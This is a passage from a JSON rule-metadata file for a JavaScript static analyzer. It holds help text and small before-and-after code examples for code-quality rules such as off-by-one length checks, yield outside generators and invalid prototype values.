comprehensions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Array_comprehensions#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions).\n* Common Weakness Enumeration: [CWE-758](https://cwe.mitre.org/data/definitions/758.html).\n","markdown":"# Use of for-in comprehension blocks\n`for`-`in` blocks in array comprehensions are a Mozilla-specific language extensions that is no longer supported even by SpiderMonkey, and is unlikely to be included in future ECMAScript standards. This language feature should not be used.\n\n\n## Recommendation\nThe `for`-`in` block can be replaced by a (standards-compliant) `for`-`of` block iterating over a list of property names obtained, for example, from `Object.keys`.\n\n\n## Example\nIn the following contrived example, a `for`-`in` block is used to iterate over the keys `i` of an array and construct an array of strings of the form `\"v = a[i]\"`, where `v` is the value of `a[i]`.\n\n\n```javascript\nvar a = [23,,42];\nvar desc = [for(i in a) i + \" = a[\" + i + \"]\"];\n\n```\nThe example can be rewritten to use a `for`-`of` block iterating over `Object.keys(a)` instead.\n\n\n```javascript\nvar a = [23,,42];\nvar desc = [for(i of Object.keys(a)) i + \" = a[\" + i + \"]\"];\n\n```\nNote that `Object.keys` only includes own properties, not properties inherited from a prototype. If the latter behavior is needed, the array comprehension should be replaced by a `for`-`in` loop that imperatively populates the result array.\n\n\n## References\n* Mozilla Developer Network: [Array comprehensions: Differences to the older JS1.7.2/JS1.8 comprehensions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Array_comprehensions#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions).\n* Common Weakness Enumeration: [CWE-758](https://cwe.mitre.org/data/definitions/758.html).\n"},"properties":{"tags":["quality","maintainability","readability","portability","language-features","external/cwe/cwe-758"],"description":"'for'-'in' comprehension blocks are a Mozilla-specific language extension\n              that is no longer supported.","id":"js/for-in-comprehension","kind":"problem","name":"Use of for-in comprehension blocks","precision":"very-high","problem.severity":"error"}},{"id":"js/superfluous-trailing-arguments","name":"js/superfluous-trailing-arguments","shortDescription":{"text":"Superfluous trailing arguments"},"fullDescription":{"text":"A function is invoked with extra trailing arguments that are ignored."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Superfluous trailing arguments\nFunction calls in JavaScript may pass an arbitrary number of arguments to the invoked function. If the invoked function declares fewer parameters than arguments were passed, the remaining arguments can only be accessed through the `arguments` object. Hence, if a function is passed too many arguments but does *not* use the `arguments` object, the remaining arguments are useless. Such calls often indicate incomplete refactorings, or may point to a misunderstanding of the functionality of the invoked function.\n\n\n## Recommendation\nRemove the extra parameters if they are unnecessary. Otherwise, further investigation may be necessary to determine how to update the function call.\n\n\n## Example\nThe following code snippet defines a function `f` that does not declare any parameters and does not use the `arguments` object. The only call to `f` passes it a single argument `42`, which is not used by `f` in any way and thus can be removed.\n\n\n```javascript\nfunction f() {\n\tvar x = 23;\n\treturn x+19;\n}\n\nf(42);\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 10. ECMA, 2011.\n* Common Weakness Enumeration: [CWE-685](https://cwe.mitre.org/data/definitions/685.html).\n","markdown":"# Superfluous trailing arguments\nFunction calls in JavaScript may pass an arbitrary number of arguments to the invoked function. If the invoked function declares fewer parameters than arguments were passed, the remaining arguments can only be accessed through the `arguments` object. Hence, if a function is passed too many arguments but does *not* use the `arguments` object, the remaining arguments are useless. Such calls often indicate incomplete refactorings, or may point to a misunderstanding of the functionality of the invoked function.\n\n\n## Recommendation\nRemove the extra parameters if they are unnecessary. Otherwise, further investigation may be necessary to determine how to update the function call.\n\n\n## Example\nThe following code snippet defines a function `f` that does not declare any parameters and does not use the `arguments` object. The only call to `f` passes it a single argument `42`, which is not used by `f` in any way and thus can be removed.\n\n\n```javascript\nfunction f() {\n\tvar x = 23;\n\treturn x+19;\n}\n\nf(42);\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 10. ECMA, 2011.\n* Common Weakness Enumeration: [CWE-685](https://cwe.mitre.org/data/definitions/685.html).\n"},"properties":{"tags":["quality","reliability","correctness","language-features","external/cwe/cwe-685"],"description":"A function is invoked with extra trailing arguments that are ignored.","id":"js/superfluous-trailing-arguments","kind":"problem","name":"Superfluous trailing arguments","precision":"very-high","problem.severity":"warning"}},{"id":"js/conditional-comment","name":"js/conditional-comment","shortDescription":{"text":"Conditional comments"},"fullDescription":{"text":"Conditional comments are an IE-specific feature and not portable."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Conditional comments\nConditional comments are only supported in Internet Explorer and should be avoided for portability.\n\n\n## Recommendation\nUse feature detection (as offered by major frameworks such as [jQuery](http://jquery.com)) instead.\n\n\n## Example\nThe following code snippet uses conditional comments to detect whether it is running on Internet Explorer 9 or newer. A better alternative would be to directly check for the desired features using, for instance, jQuery's `$.support` object.\n\n\n```javascript\n/*@cc_on\n  @if (@_jscript_version >= 6)\n    console.log(\"You're running a new version of IE.\");\n  @else\n    console.log(\"You're running an old version of IE.\");\n  @end\n  @*/\n\n```\nNote that conditional comments are no longer supported in Internet Explorer 11 Standards mode.\n\n\n## References\n* Internet Explorer Dev Center: [@cc_on Statement (JavaScript)](http://web.archive.org/web/20121103072038/http://msdn.microsoft.com/en-us/library/ie/8ka90k2e(v=vs.94).aspx).\n* Common Weakness Enumeration: [CWE-758](https://cwe.mitre.org/data/definitions/758.html).\n","markdown":"# Conditional comments\nConditional comments are only supported in Internet Explorer and should be avoided for portability.\n\n\n## Recommendation\nUse feature detection (as offered by major frameworks such as [jQuery](http://jquery.com)) instead.\n\n\n## Example\nThe following code snippet uses conditional comments to detect whether it is running on Internet Explorer 9 or newer. A better alternative would be to directly check for the desired features using, for instance, jQuery's `$.support` object.\n\n\n```javascript\n/*@cc_on\n  @if (@_jscript_version >= 6)\n    console.log(\"You're running a new version of IE.\");\n  @else\n    console.log(\"You're running an old version of IE.\");\n  @end\n  @*/\n\n```\nNote that conditional comments are no longer supported in Internet Explorer 11 Standards mode.\n\n\n## References\n* Internet Explorer Dev Center: [@cc_on Statement (JavaScript)](http://web.archive.org/web/20121103072038/http://msdn.microsoft.com/en-us/library/ie/8ka90k2e(v=vs.94).aspx).\n* Common Weakness Enumeration: [CWE-758](https://cwe.mitre.org/data/definitions/758.html).\n"},"properties":{"tags":["quality","reliability","correctness","portability","language-features","external/cwe/cwe-758"],"description":"Conditional comments are an IE-specific feature and not portable.","id":"js/conditional-comment","kind":"problem","name":"Conditional comments","precision":"very-high","problem.severity":"warning"}},{"id":"js/property-assignment-on-primitive","name":"js/property-assignment-on-primitive","shortDescription":{"text":"Assignment to property of primitive value"},"fullDescription":{"text":"Assigning to a property of a primitive value has no effect and may trigger a runtime error."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Assignment to property of primitive value\nIn JavaScript, primitive values such as numbers and strings are immutable. Assigning to a property of a primitive value has, in general, no effect, while attempting to manipulate such a property using `Object.defineProperty` will result in a runtime error.\n\nThere is one exception: assigning to a property for which a setter has been defined on the corresponding prototype object (such as `Number.prototype` or `String.prototype`) will invoke the setter function.\n\n\n## Recommendation\nCarefully examine the assignment in question. A common mistake is trying to change the contents of a string by treating it as an array of characters and assigning to its elements. This has no effect, since strings are immutable in JavaScript. Instead, a new string should be created using string concatenation.\n\nAssignments that rely on setters on prototype objects may work as intended, but this behavior is subtle and hard to understand, and therefore should be avoided.\n\n\n## Example\nThe following code snippet tries to pad the string `s` to a length divisible by eight by mutating its characters:\n\n```javascript\n\nfor (var i=s.length; i%8; ++i)\n  s[i] = ' ';\n\n```\nThis approach will not work because strings are immutable in JavaScript. Instead, string concatenation should be used to pad the string:\n\n```javascript\n\nfor (var i=s.length; i%8; ++i)\n  s += ' ';\n\n```\n\n## References\n* Ecma International, [ECMAScript 2016 Language Specification, Section 12.15: Assignment Operators](https://262.ecma-international.org/7.0/#prod-AssignmentExpression).\n* Ecma International, [ECMAScript 2016 Language Specification, Section 19.1.2.4: Object.defineProperty](https://262.ecma-international.org/7.0/#sec-object.defineproperty).\n* Common Weakness Enumeration: [CWE-704](https://cwe.mitre.org/data/definitions/704.html).\n","markdown":"# Assignment to property of primitive value\nIn JavaScript, primitive values such as numbers and strings are immutable. Assigning to a property of a primitive value has, in general, no effect, while attempting to manipulate such a property using `Object.defineProperty` will result in a runtime error.\n\nThere is one exception: assigning to a property for which a setter has been defined on the corresponding prototype object (such as `Number.prototype` or `String.prototype`) will invoke the setter function.\n\n\n## Recommendation\nCarefully examine the assignment in question. A common mistake is trying to change the contents of a string by treating it as an array of characters and assigning to its elements. This has no effect, since strings are immutable in JavaScript. Instead, a new string should be created using string concatenation.\n\nAssignments that rely on setters on prototype objects may work as intended, but this behavior is subtle and hard to understand, and therefore should be avoided.\n\n\n## Example\nThe following code snippet tries to pad the string `s` to a length divisible by eight by mutating its characters:\n\n```javascript\n\nfor (var i=s.length; i%8; ++i)\n  s[i] = ' ';\n\n```\nThis approach will not work because strings are immutable in JavaScript. Instead, string concatenation should be used to pad the string:\n\n```javascript\n\nfor (var i=s.length; i%8; ++i)\n  s += ' ';\n\n```\n\n## References\n* Ecma International, [ECMAScript 2016 Language Specification, Section 12.15: Assignment Operators](https://262.ecma-international.org/7.0/#prod-AssignmentExpression).\n* Ecma International, [ECMAScript 2016 Language Specification, Section 19.1.2.4: Object.defineProperty](https://262.ecma-international.org/7.0/#sec-object.defineproperty).\n* Common Weakness Enumeration: [CWE-704](https://cwe.mitre.org/data/definitions/704.html).\n"},"properties":{"tags":["quality","reliability","correctness","language-features","external/cwe/cwe-704"],"description":"Assigning to a property of a primitive value has no effect\n              and may trigger a runtime error.","id":"js/property-assignment-on-primitive","kind":"problem","name":"Assignment to property of primitive value","precision":"high","problem.severity":"error"}},{"id":"js/deletion-of-non-property","name":"js/deletion-of-non-property","shortDescription":{"text":"Deleting non-property"},"fullDescription":{"text":"The operand of the 'delete' operator should always be a property accessor."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Deleting non-property\nThe `delete` operator should only be used to delete properties from objects. Using it to delete variables makes code hard to maintain and will break in strict mode.\n\n\n## Recommendation\nIf the variable you are deleting is a global variable, this is a sign that your code relies too much on global state. Try encapsulating this global state by means of one of the module patterns introduced in *JavaScript: The Good Parts*.\n\n\n## Example\nIn the following code snippet, `delete` is used to clean up the global `cache` variable used by function `get`.\n\n\n```javascript\nvar cache;\n\nfunction init() {\n\tcache = {};\n}\n\nfunction done() {\n\tdelete cache;\n}\n\nfunction get(k) {\n\tk = '$' + k;\n\tif (!cache.hasOwnProperty(k))\n\t\tcache[k] = compute(k);\n\treturn cache[k];\n}\n\nfunction compute(k) {\n\t// compute value for k\n\t// ...\n}\n```\nIt would be clearer to wrap the whole module into a closure like this (which also avoids exposing function `compute` to the outside world):\n\n\n```javascript\n(function(global) {\n\tvar cache;\n\n\tglobal.init = function init() {\n\t\tcache = {};\n\t};\n\n\tglobal.done = function done() {\n\t};\n\n\tglobal.get = function get(k) {\n\t\tk = '$' + k;\n\t\tif (!cache.hasOwnProperty(k))\n\t\t\tcache[k] = compute(k);\n\t\treturn cache[k];\n\t}\n\n\tfunction compute(k) {\n\t\t// compute value for k\n\t\t// ...\n\t}\n}(this));\n```\n","markdown":"# Deleting non-property\nThe `delete` operator should only be used to delete properties from objects. Using it to delete variables makes code hard to maintain and will break in strict mode.\n\n\n## Recommendation\nIf the variable you are deleting is a global variable, this is a sign that your code relies too much on global state. Try encapsulating this global state by means of one of the module patterns introduced in *JavaScript: The Good Parts*.\n\n\n## Example\nIn the following code snippet, `delete` is used to clean up the global `cache` variable used by function `get`.\n\n\n```javascript\nvar cache;\n\nfunction init() {\n\tcache = {};\n}\n\nfunction done() {\n\tdelete cache;\n}\n\nfunction get(k) {\n\tk = '$' + k;\n\tif (!cache.hasOwnProperty(k))\n\t\tcache[k] = compute(k);\n\treturn cache[k];\n}\n\nfunction compute(k) {\n\t// compute value for k\n\t// ...\n}\n```\nIt would be clearer to wrap the whole module into a closure like this (which also avoids exposing function `compute` to the outside world):\n\n\n```javascript\n(function(global) {\n\tvar cache;\n\n\tglobal.init = function init() {\n\t\tcache = {};\n\t};\n\n\tglobal.done = function done() {\n\t};\n\n\tglobal.get = function get(k) {\n\t\tk = '$' + k;\n\t\tif (!cache.hasOwnProperty(k))\n\t\t\tcache[k] = compute(k);\n\t\treturn cache[k];\n\t}\n\n\tfunction compute(k) {\n\t\t// compute value for k\n\t\t// ...\n\t}\n}(this));\n```\n"},"properties":{"tags":["quality","reliability","correctness","language-features","external/cwe/cwe-480"],"description":"The operand of the 'delete' operator should always be a property accessor.","id":"js/deletion-of-non-property","kind":"problem","name":"Deleting non-property","precision":"very-high","problem.severity":"warning"}},{"id":"js/template-syntax-in-string-literal","name":"js/template-syntax-in-string-literal","shortDescription":{"text":"Template syntax in string literal"},"fullDescription":{"text":"A string literal appears to use template syntax but is not quoted with backticks."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Template syntax in string literal\nTemplate literals are strings enclosed with backticks (``` `` ```). These may contain placeholder expressions with the syntax `${*..*}`, which are evaluated at runtime and inserted as part of the string.\n\nOrdinary string literals may be enclosed by single (`''`) or double quotes (`\"\"`), and the placeholder syntax `${*..*}` has no special meaning in these.\n\nIn files that make use of template literals, it is hard to distinguish actual template literals from ordinary strings that happen to contain placeholder syntax. This is often the result of mistyping the quotes on a template literal.\n\n\n## Recommendation\nConsider if this was intended to be a template literal, and if so, change the quotes to backticks (``` `` ```). Alternatively:\n\n* Rename some local variables so that the placeholders do not give the impression of referencing those.\n* Avoid mixing JavaScript template literals with other template systems in the same file.\n\n## Example\nIn the following example, the call to `log.error` will log the string \"`${id}`\", rather than the contents of the `id` variable.\n\n\n```javascript\nlog.info(`Connecting to ${id}`)\nlet connection = openConnection(id)\nif (!connection) {\n  log.error('Could not connect to ${id}')\n}\n\n```\nTo correct the error message, change the quotes to backticks:\n\n\n```javascript\nlog.info(`Connecting to ${id}`)\nlet connection = openConnection(id)\nif (!connection) {\n  log.error(`Could not connect to ${id}`)\n}\n\n```\n\n## References\n* Mozilla Developer Network: [Template literals](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Template_literals).\n","markdown":"# Template syntax in string literal\nTemplate literals are strings enclosed with backticks (``` `` ```). These may contain placeholder expressions with the syntax `${*..*}`, which are evaluated at runtime and inserted as part of the string.\n\nOrdinary string literals may be enclosed by single (`''`) or double quotes (`\"\"`), and the placeholder syntax `${*..*}` has no special meaning in these.\n\nIn files that make use of template literals, it is hard to distinguish actual template literals from ordinary strings that happen to contain placeholder syntax. This is often the result of mistyping the quotes on a template literal.\n\n\n## Recommendation\nConsider if this was intended to be a template literal, and if so, change the quotes to backticks (``` `` ```). Alternatively:\n\n* Rename some local variables so that the placeholders do not give the impression of referencing those.\n* Avoid mixing JavaScript template literals with other template systems in the same file.\n\n## Example\nIn the following example, the call to `log.error` will log the string \"`${id}`\", rather than the contents of the `id` variable.\n\n\n```javascript\nlog.info(`Connecting to ${id}`)\nlet connection = openConnection(id)\nif (!connection) {\n  log.error('Could not connect to ${id}')\n}\n\n```\nTo correct the error message, change the quotes to backticks:\n\n\n```javascript\nlog.info(`Connecting to ${id}`)\nlet connection = openConnection(id)\nif (!connection) {\n  log.error(`Could not connect to ${id}`)\n}\n\n```\n\n## References\n* Mozilla Developer Network: [Template literals](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Template_literals).\n"},"properties":{"tags":["quality","reliability","correctness","language-features"],"description":"A string literal appears to use template syntax but is not quoted with backticks.","id":"js/template-syntax-in-string-literal","kind":"problem","name":"Template syntax in string literal","precision":"high","problem.severity":"warning"}},{"id":"js/index-out-of-bounds","name":"js/index-out-of-bounds","shortDescription":{"text":"Off-by-one comparison against length"},"fullDescription":{"text":"An array index is compared to be less than or equal to the 'length' property, and then used in an indexing operation that could be out of bounds."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Off-by-one comparison against length\nReading an array element from an index that is greater than the array length always returns `undefined`. If the index is compared to the array length using the less-than-or-equal operator `<=` instead of the less-than operator `<`, the index could be out of bounds, which may not be intentional and may adversely affect performance.\n\n\n## Recommendation\nUse less-than (`<`) rather than less-than-or-equal (`<=`) when comparing a potential index against the array length. For loops that iterate over every element in an array, use a `for...of` loop or the `forEach` method instead of explicitly iterating over all indices.\n\n\n## Example\nThe following example shows a function that intends to check whether an array `a` contains an element `elt` by iterating over its elements and comparing them to `elt`. However, the terminating condition of the loop is incorrectly specified as `i <= a.length`, not `i < a.length`, so `elt` will additionally be compared against the value `undefined` read from index `a.length`, meaning that the function considers every array to contain `undefined`:\n\n\n```javascript\nfunction contains(a, elt) {\n  for (let i = 0; i <= a.length; ++i)\n    if (a[i] === elt)\n      return true;\n  return false;\n}\n```\nThe problem can be fixed by using less-than instead of less-than-or-equals:\n\n\n```javascript\nfunction contains(a, elt) {\n  for (let i = 0; i < a.length; ++i)\n    if (a[i] === elt)\n      return true;\n  return false;\n}\n```\n\n## References\n* Mozilla Developer Network: [Array.length](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/length)\n* Mozilla Developer Network: [Array.forEach](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach)\n* Mozilla Developer Network: [for...of](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of)\n* Common Weakness Enumeration: [CWE-193](https://cwe.mitre.org/data/definitions/193.html).\n","markdown":"# Off-by-one comparison against length\nReading an array element from an index that is greater than the array length always returns `undefined`. If the index is compared to the array length using the less-than-or-equal operator `<=` instead of the less-than operator `<`, the index could be out of bounds, which may not be intentional and may adversely affect performance.\n\n\n## Recommendation\nUse less-than (`<`) rather than less-than-or-equal (`<=`) when comparing a potential index against the array length. For loops that iterate over every element in an array, use a `for...of` loop or the `forEach` method instead of explicitly iterating over all indices.\n\n\n## Example\nThe following example shows a function that intends to check whether an array `a` contains an element `elt` by iterating over its elements and comparing them to `elt`. However, the terminating condition of the loop is incorrectly specified as `i <= a.length`, not `i < a.length`, so `elt` will additionally be compared against the value `undefined` read from index `a.length`, meaning that the function considers every array to contain `undefined`:\n\n\n```javascript\nfunction contains(a, elt) {\n  for (let i = 0; i <= a.length; ++i)\n    if (a[i] === elt)\n      return true;\n  return false;\n}\n```\nThe problem can be fixed by using less-than instead of less-than-or-equals:\n\n\n```javascript\nfunction contains(a, elt) {\n  for (let i = 0; i < a.length; ++i)\n    if (a[i] === elt)\n      return true;\n  return false;\n}\n```\n\n## References\n* Mozilla Developer Network: [Array.length](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/length)\n* Mozilla Developer Network: [Array.forEach](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach)\n* Mozilla Developer Network: [for...of](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of)\n* Common Weakness Enumeration: [CWE-193](https://cwe.mitre.org/data/definitions/193.html).\n"},"properties":{"tags":["quality","reliability","correctness","logic","language-features","external/cwe/cwe-193"],"description":"An array index is compared to be less than or equal to the 'length' property,\n              and then used in an indexing operation that could be out of bounds.","id":"js/index-out-of-bounds","kind":"problem","name":"Off-by-one comparison against length","precision":"high","problem.severity":"warning"}},{"id":"js/illegal-invocation","name":"js/illegal-invocation","shortDescription":{"text":"Illegal invocation"},"fullDescription":{"text":"Attempting to invoke a method or an arrow function using 'new', or invoking a constructor as a function, will cause a runtime error."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Illegal invocation\nClass methods and arrow functions must not be invoked using `new`, and attempting to do so will result in a runtime error.\n\nConversely, constructors can only be invoked using `new` or `super(...)`, and attempting to invoke them as a normal function will result in a runtime error.\n\n\n## Recommendation\nCorrect the invocation in question by adding or removing `new` as appropriate.\n\n\n## Example\nIn the following example, `Point` is a class, but on line 8 it is invoked without `new`. This will lead to a runtime error.\n\n```javascript\n\nclass Point {\n  constructor(x, y) {\n    this.x = x;\n    this.y = y;\n  }\n}\n\nlet p = Point(23, 42);\n\n```\nInstead, `new` should be used:\n\n```javascript\n\nclass Point {\n  constructor(x, y) {\n    this.x = x;\n    this.y = y;\n  }\n}\n\nlet p = new Point(23, 42);\n\n```\n\n## References\n* Mozilla Developer Network: [Constructors](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/constructor).\n* Mozilla Developer Network: [Arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions).\n* Mozilla Developer Network: [Method definitions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions).\n","markdown":"# Illegal invocation\nClass methods and arrow functions must not be invoked using `new`, and attempting to do so will result in a runtime error.\n\nConversely, constructors can only be invoked using `new` or `super(...)`, and attempting to invoke them as a normal function will result in a runtime error.\n\n\n## Recommendation\nCorrect the invocation in question by adding or removing `new` as appropriate.\n\n\n## Example\nIn the following example, `Point` is a class, but on line 8 it is invoked without `new`. This will lead to a runtime error.\n\n```javascript\n\nclass Point {\n  constructor(x, y) {\n    this.x = x;\n    this.y = y;\n  }\n}\n\nlet p = Point(23, 42);\n\n```\nInstead, `new` should be used:\n\n```javascript\n\nclass Point {\n  constructor(x, y) {\n    this.x = x;\n    this.y = y;\n  }\n}\n\nlet p = new Point(23, 42);\n\n```\n\n## References\n* Mozilla Developer Network: [Constructors](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/constructor).\n* Mozilla Developer Network: [Arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions).\n* Mozilla Developer Network: [Method definitions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions).\n"},"properties":{"tags":["quality","reliability","correctness","language-features"],"description":"Attempting to invoke a method or an arrow function using 'new',\n              or invoking a constructor as a function, will cause a runtime\n              error.","id":"js/illegal-invocation","kind":"problem","name":"Illegal invocation","precision":"high","problem.severity":"error"}},{"id":"js/strict-mode-call-stack-introspection","name":"js/strict-mode-call-stack-introspection","shortDescription":{"text":"Use of call stack introspection in strict mode"},"fullDescription":{"text":"Accessing properties 'arguments.caller', 'arguments.callee', 'Function.prototype.caller' or 'Function.prototype.arguments' in strict mode will cause a runtime error."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Use of call stack introspection in strict mode\nThe properties `callee` and `caller` of arguments objects as well as the properties `caller` and `arguments` of function objects are not available in strict-mode code, and any attempt to access them will result in a runtime error.\n\n\n## Recommendation\nInstead of using `arguments.callee`, you can refer to the enclosing function by its name (possibly giving it a name first if it is an anonymous function expression). Uses of the other properties can often be eliminated by refactoring the program.\n\n\n## Example\nIn the following example, `arguments.callee` is used to recursively invoke the enclosing function, which is anonymous.\n\n```javascript\n\nvar o = {\n  A: function(x) {\n       'use strict';\n       if (!(this instanceof arguments.callee))\n         return new arguments.callee(x);\n       this.x = x;\n     }\n};\n\n```\nTo avoid this use, the function can be given a name and referred to using that name:\n\n```javascript\n\nvar o = {\n  A: function A(x) {\n       'use strict';\n       if (!(this instanceof A))\n         return new A(x);\n       this.x = x;\n     }\n};\n\n```\n\n## References\n* Mozilla Developer Network: [arguments](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments).\n","markdown":"# Use of call stack introspection in strict mode\nThe properties `callee` and `caller` of arguments objects as well as the properties `caller` and `arguments` of function objects are not available in strict-mode code, and any attempt to access them will result in a runtime error.\n\n\n## Recommendation\nInstead of using `arguments.callee`, you can refer to the enclosing function by its name (possibly giving it a name first if it is an anonymous function expression). Uses of the other properties can often be eliminated by refactoring the program.\n\n\n## Example\nIn the following example, `arguments.callee` is used to recursively invoke the enclosing function, which is anonymous.\n\n```javascript\n\nvar o = {\n  A: function(x) {\n       'use strict';\n       if (!(this instanceof arguments.callee))\n         return new arguments.callee(x);\n       this.x = x;\n     }\n};\n\n```\nTo avoid this use, the function can be given a name and referred to using that name:\n\n```javascript\n\nvar o = {\n  A: function A(x) {\n       'use strict';\n       if (!(this instanceof A))\n         return new A(x);\n       this.x = x;\n     }\n};\n\n```\n\n## References\n* Mozilla Developer Network: [arguments](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments).\n"},"properties":{"tags":["quality","reliability","correctness","language-features"],"description":"Accessing properties 'arguments.caller', 'arguments.callee',\n              'Function.prototype.caller' or 'Function.prototype.arguments'\n              in strict mode will cause a runtime error.","id":"js/strict-mode-call-stack-introspection","kind":"problem","name":"Use of call stack introspection in strict mode","precision":"high","problem.severity":"error"}},{"id":"js/yield-outside-generator","name":"js/yield-outside-generator","shortDescription":{"text":"Yield in non-generator function"},"fullDescription":{"text":"'yield' should only be used in generator functions."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Yield in non-generator function\nPrevious versions of SpiderMonkey permitted the use of `yield` expressions in functions not marked as generators. This is no longer supported, and is not compliant with ECMAScript 2015.\n\n\n## Recommendation\nMark the enclosing function as a generator by replacing `function` with `function*`.\n\n\n## Example\nThe following example uses `yield` to produce a sequence of indices, but the function `idMaker` is not marked as a generator:\n\n\n```javascript\nfunction idMaker(){\n    var index = 0;\n    while(true)\n        yield index++;\n}\n\n```\nThis is easily fixed by adding an asterisk to the `function` keyword:\n\n\n```javascript\nfunction* idMaker(){\n    var index = 0;\n    while(true)\n        yield index++;\n}\n\n```\n\n## References\n* Mozilla Developer Network: [function\\*](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*).\n* Mozilla Developer Network: [yield](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/yield).\n* Common Weakness Enumeration: [CWE-758](https://cwe.mitre.org/data/definitions/758.html).\n","markdown":"# Yield in non-generator function\nPrevious versions of SpiderMonkey permitted the use of `yield` expressions in functions not marked as generators. This is no longer supported, and is not compliant with ECMAScript 2015.\n\n\n## Recommendation\nMark the enclosing function as a generator by replacing `function` with `function*`.\n\n\n## Example\nThe following example uses `yield` to produce a sequence of indices, but the function `idMaker` is not marked as a generator:\n\n\n```javascript\nfunction idMaker(){\n    var index = 0;\n    while(true)\n        yield index++;\n}\n\n```\nThis is easily fixed by adding an asterisk to the `function` keyword:\n\n\n```javascript\nfunction* idMaker(){\n    var index = 0;\n    while(true)\n        yield index++;\n}\n\n```\n\n## References\n* Mozilla Developer Network: [function\\*](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*).\n* Mozilla Developer Network: [yield](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/yield).\n* Common Weakness Enumeration: [CWE-758](https://cwe.mitre.org/data/definitions/758.html).\n"},"properties":{"tags":["quality","reliability","correctness","language-features","external/cwe/cwe-758"],"description":"'yield' should only be used in generator functions.","id":"js/yield-outside-generator","kind":"problem","name":"Yield in non-generator function","precision":"very-high","problem.severity":"error"}},{"id":"js/invalid-prototype-value","name":"js/invalid-prototype-value","shortDescription":{"text":"Invalid prototype value"},"fullDescription":{"text":"An attempt to use a value that is not an object or 'null' as a prototype will either be ignored or result in a runtime error."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Invalid prototype value\nAll JavaScript objects (including functions, classes and arrays) have a prototype, which is either `null` or another object. The prototype of an object can be set in two ways, both of which guard against attempts to assign an invalid prototype (such as a primitive value):\n\n1. Assigning a value to the object's `__proto__` property; if the value is not a valid prototype, the assignment is silently ignored.\n1. Using the standard library functions `Object.create` or `Object.setPrototypeOf`; invalid prototype values lead to a runtime error.\nIn summary, any attempt to set the prototype of an object to a value that is not an object or `null` will be ineffective and may lead to a runtime error.\n\n\n## Recommendation\nFix the prototype assignment by providing a valid prototype value.\n\n\n## Example\nThe following code attempts to create an object with prototype `undefined`, which will cause an error at runtime:\n\n```javascript\n\nlet dict = Object.create(undefined);\n\n```\nIf the intention is to create an object without a prototype object, `null` should be used instead:\n\n```javascript\n\nlet dict = Object.create(null);\n\n```\n\n## References\n* Mozilla Developer Network: [Inheritance and the prototype chain](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain).\n* Common Weakness Enumeration: [CWE-704](https://cwe.mitre.org/data/definitions/704.html).\n","markdown":"# Invalid prototype value\nAll JavaScript objects (including functions, classes and arrays) have a prototype, which is either `null` or another object. The prototype of an object can be set in two ways, both of which guard against attempts to assign an invalid prototype (such as a primitive value):\n\n1. Assigning a value to the object's `__proto__` property; if the value is not a valid prototype, the assignment is silently ignored.\n1. Using the standard library functions `Object.create` or `Object.setPrototypeOf`; invalid prototype values lead to a runtime error.\nIn summary, any attempt to set the prototype of an object to a value that is not an object or `null` will be ineffective and may lead to a runtime error.\n\n\n## Recommendation\nFix the prototype assignment by providing a valid prototype value.\n\n\n## Example\nThe following code attempts to create an object with prototype `undefined`, which will cause an error at runtime:\n\n```javascript\n\nlet dict = Object.create(undefined);\n\n```\nIf the intention is to create an object without a prototype object, `null` should be used instead:\n\n```javascript\n\nlet dict = Object.create(null);\n\n```\n\n## References\n* Mozilla Developer Network: [Inheritance and the prototype chain](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain).\n* Common Weakness Enumeration: [CWE-704](https://cwe.mitre.org/data/definitions/704.html).\n"},"properties":{"tags":["quality","reliability","correctness","language-features","external/cwe/cwe-704"],"description":"An attempt to use a value that is not an object or 'null' as a\n              prototype will either be ignored or result in a runtime error.","id":"js/invalid-prototype-value","kind":"problem","name":"Invalid prototype value","precision":"high","problem.severity":"error"}},{"id":"js/inconsistent-use-of-new","name":"js/inconsistent-use-of-new","shortDescription":{"text":"Inconsistent use of 'new'"},"fullDescription":{"text":"If a function is intended to be a 